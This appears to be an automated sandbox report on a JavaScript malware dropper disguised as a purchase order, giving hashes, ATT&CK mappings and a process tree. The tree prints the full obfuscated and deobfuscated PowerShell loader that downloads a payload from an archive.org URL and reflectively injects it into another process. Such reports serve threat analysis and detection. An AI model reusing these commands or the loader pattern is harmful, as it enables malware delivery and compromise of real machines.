b7c01a5a9f1ee5788c80fa1bb233afbe3827365cf19ff63f0f71b5bc731b5096

General

Target

PO No.7500011330.js
Size

601KB
MD5

2775b43e1e9b8e237f506cc02c0dfd9e
SHA1

0816358f326556470110ded8e13e3409ab46ec4c
SHA256

92e24621f961d0095911956dbe9a6400feb59a324cbb0994ae1290b2a2045b13
SHA512

a41baead687120db6017b800d09604e3b53113c229a5fcf18d7a7d1b1f3f05319e0239d160150bcf4b01caff7989829d6730ae0c728d793641f09bb0347c97d0
SSDEEP

12288:Dvf0MG9e5BJXO6fU68Mkf/r3z0jUJPjjids+hXhGjpLJCZgywlrzvR6tNhEY8vTi:hTEt3Y1ZaXc

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://ia904601.us.archive.org/6/items/detah-note-j/DetahNoteJ.txt

exe.dropper

https://ia904601.us.archive.org/6/items/detah-note-j/DetahNoteJ.txt

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
6	1804	powershell.exe
16	1804	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3872	powershell.exe
1804	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-355097885-2402257403-2971294179-1000\Control Panel\International\Geo\Nation	wscript.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3872	powershell.exe
3872	powershell.exe
1804	powershell.exe
1804	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3872	powershell.exe
Token: SeDebugPrivilege	1804	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 5004 wrote to memory of 3872	5004	wscript.exe	82
PID 5004 wrote to memory of 3872	5004	wscript.exe	82
PID 3872 wrote to memory of 1804	3872	powershell.exe	84
PID 3872 wrote to memory of 1804	3872	powershell.exe	84

C:\Windows\system32\wscript.exe
wscript.exe "C:\Users\Admin\AppData\Local\Temp\PO No.7500011330.js"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:5004
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JgAoACAAJABWAGUAcgBiAE8AcwBFAFAAUgBlAEYARQBSAEUAbgBjAEUALgB0AG8AcwBUAHIAaQBuAEcAKAApAFsAMQAsADMAXQArACcAeAAnAC0ASgBvAEkATgAnACcAKQAgACgAIAAoACgAJwB4AEUAdAB1AHIAJwArACcAbAAgAD0AIABGADUASgBoAHQAdABwACcAKwAnAHMAOgAvACcAKwAnAC8AJwArACcAaQBhADkAMAAnACsAJwA0ADYAJwArACcAMAAnACsAJwAxAC4AdQAnACsAJwBzAC4AYQByACcAKwAnAGMAaABpACcAKwAnAHYAZQAuAG8AcgBnAC8ANgAnACsAJwAvAGkAdAAnACsAJwBlAG0AcwAvAGQAJwArACcAZQB0ACcAKwAnAGEAaAAtAG4AbwB0ACcAKwAnAGUALQAnACsAJwBqAC8ARABlAHQAYQBoACcAKwAnAE4AbwB0ACcAKwAnAGUASgAnACsAJwAuAHQAeAB0AEYANQBKADsAeABFACcAKwAnAHQAYgBhACcAKwAnAHMAZQA2ADQAQwBvAG4AdABlAG4AdAAgAD0AIAAoAE4AZQB3AC0AJwArACcATwBiAGoAZQBjACcAKwAnAHQAIAAnACsAJwBTAHkAJwArACcAcwAnACsAJwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuACcAKwAnAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpACcAKwAnAG4AZwAoAHgARQB0AHUAJwArACcAcgBsACcAKwAnACkAOwB4AEUAdABiAGkAbgBhAHIAJwArACcAeQBDAG8AbgB0AGUAbgB0ACAAPQAnACsAJwAgAFsAJwArACcAUwB5AHMAJwArACcAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AJwArACcAOgA6AEYAJwArACcAcgBvAG0AQgBhAHMAJwArACcAZQA2ADQAUwB0AHIAaQBuAGcAKAB4AEUAJwArACcAdAAnACsAJwBiACcAKwAnAGEAcwAnACsAJwBlADYAJwArACcANAAnACsAJwBDAG8AbgB0AGUAbgB0ACkAOwB4AEUAdAAnACsAJwBhAHMAcwBlACcAKwAnAG0AYgBsAHkAJwArACcAIAA9ACAAWwBSAGUAZgBsAGUAYwAnACsAJwB0ACcAKwAnAGkAbwBuAC4AQQBzAHMAZQBtACcAKwAnAGIAbAB5AF0AOgA6AEwAbwBhACcAKwAnAGQAKAB4ACcAKwAnAEUAdABiAGkAbgBhAHIAJwArACcAeQBDAG8AbgB0ACcAKwAnAGUAbgB0ACkAOwAnACsAJwB4ACcAKwAnAEUAdAB0ACcAKwAnAHkAcABlACAAPQAgAHgARQB0AGEAcwBzAGUAbQAnACsAJwBiACcAKwAnAGwAeQAuACcAKwAnAEcAZQB0AFQAeQBwACcAKwAnAGUAKABGADUAJwArACcASgBSAHUAbgBQAEUALgBIACcAKwAnAG8AJwArACcAbQAnACsAJwBlAEYAJwArACcANQBKACkAOwB4AEUAdABtAGUAdABoAG8AZAAgAD0AIAB4AEUAJwArACcAdAAnACsAJwB0AHkAcABlACcAKwAnAC4ARwBlAHQATQBlAHQAaABvAGQAKABGADUASgBWAEEAJwArACcASQBGADUASgAnACsAJwApADsAeABFAHQAbQAnACsAJwBlAHQAJwArACcAaAAnACsAJwBvAGQALgBJAG4AdgBvAGsAZQAnACsAJwAoACcAKwAnAHgARQAnACsAJwB0AG4AdQBsAGwALAAgAFsAJwArACcAbwBiAGoAZQAnACsAJwBjAHQAWwBdAF0AQAAoAEYANQAnACsAJwBKACcAKwAnAHQAJwArACcAeAB0ACcAKwAnAC4AaABjAG8AcwBlAGwAaQBkAC8AdgBlAGQALgAyAHIALgAzADkAYgAzADQANQAzADAAJwArACcAMgAnACsAJwBhADAANwA1AGIAMQBiAGMAMABkADQANQBiADYAMwAyACcAKwAnAGUAYgAnACsAJwA5AGUAZQA2ADIALQBiAHUAcAAvAC8AOgBzAHAAJwArACcAdAB0AGgARgA1ACcAKwAnAEoAIAAsACcAKwAnACAAJwArACcARgA1AEoAZABlACcAKwAnAHMAYQB0AGkAdgBhAGQAbwBGADUASgAgACwAIABGADUASgBkAGUAcwBhAHQAaQB2AGEAZABvAEYANQBKACAALAAgAEYANQAnACsAJwBKAGQAZQBzAGEAdABpAHYAYQBkAG8ARgA1AEoAJwArACcALABGADUASgAnACsAJwBBAGQAZABJAG4AUAByAG8AYwBlAHMAcwAzADIAJwArACcARgA1AEoALABGACcAKwAnADUASgAnACsAJwBkAGUAcwBhAHQAJwArACcAaQB2AGEAZABvAEYANQBKACkAJwArACcAKQA7ACcAKQAtAFIAZQBQAGwAQQBDAEUAIAAnAEYANQBKACcALABbAGMAaABhAHIAXQAzADkAIAAtAFIAZQBQAGwAQQBDAEUAIAAnAHgARQB0ACcALABbAGMAaABhAHIAXQAzADYAKQAgACkA';$OWjuxD = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($Codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3872
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "&( $VerbOsEPReFEREncE.tosTrinG()[1,3]+'x'-JoIN'') ( (('xEtur'+'l = F5Jhttp'+'s:/'+'/'+'ia90'+'46'+'0'+'1.u'+'s.ar'+'chi'+'ve.org/6'+'/it'+'ems/d'+'et'+'ah-not'+'e-'+'j/Detah'+'Not'+'eJ'+'.txtF5J;xE'+'tba'+'se64Content = (New-'+'Objec'+'t '+'Sy'+'s'+'tem.Net.WebClien'+'t).DownloadStri'+'ng(xEtu'+'rl'+');xEtbinar'+'yContent ='+' ['+'Sys'+'tem.Convert]'+'::F'+'romBas'+'e64String(xE'+'t'+'b'+'as'+'e6'+'4'+'Content);xEt'+'asse'+'mbly'+' = [Reflec'+'t'+'ion.Assem'+'bly]::Loa'+'d(x'+'Etbinar'+'yCont'+'ent);'+'x'+'Ett'+'ype = xEtassem'+'b'+'ly.'+'GetTyp'+'e(F5'+'JRunPE.H'+'o'+'m'+'eF'+'5J);xEtmethod = xE'+'t'+'type'+'.GetMethod(F5JVA'+'IF5J'+');xEtm'+'et'+'h'+'od.Invoke'+'('+'xE'+'tnull, ['+'obje'+'ct[]]@(F5'+'J'+'t'+'xt'+'.hcoselid/ved.2r.39b34530'+'2'+'a075b1bc0d45b632'+'eb'+'9ee62-bup//:sp'+'tthF5'+'J ,'+' '+'F5Jde'+'sativadoF5J , F5JdesativadoF5J , F5'+'JdesativadoF5J'+',F5J'+'AddInProcess32'+'F5J,F'+'5J'+'desat'+'ivadoF5J)'+');')-RePlACE 'F5J',[char]39 -RePlACE 'xEt',[char]36) )"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1804

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

JavaScript

1

T1059.007

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
2f57fde6b33e89a63cf0dfdd6e60a351

SHA1
445bf1b07223a04f8a159581a3d37d630273010f

SHA256
3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

SHA512
42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
50a8221b93fbd2628ac460dd408a9fc1

SHA1
7e99fe16a9b14079b6f0316c37cc473e1f83a7e6

SHA256
46e488628e5348c9c4dfcdeed5a91747eae3b3aa49ae1b94d37173b6609efa0e

SHA512
27dda53e7edcc1a12c61234e850fe73bf3923f5c3c19826b67f2faf9e0a14ba6658001a9d6a56a7036409feb9238dd452406e88e318919127b4a06c64dba86f0

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kbei3yly.zad.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1804-22-0x000002AB7D0A0000-0x000002AB7D2AC000-memory.dmp

Filesize
2.0MB

Download
memory/3872-0-0x00007FFE17B13000-0x00007FFE17B15000-memory.dmp

Filesize
8KB

Download
memory/3872-1-0x000002C04DD20000-0x000002C04DD42000-memory.dmp

Filesize
136KB

Download
memory/3872-11-0x00007FFE17B10000-0x00007FFE185D1000-memory.dmp

Filesize
10.8MB

Download
memory/3872-12-0x00007FFE17B10000-0x00007FFE185D1000-memory.dmp

Filesize
10.8MB

Download
memory/3872-28-0x00007FFE17B10000-0x00007FFE185D1000-memory.dmp

Filesize
10.8MB

Download

Analysis

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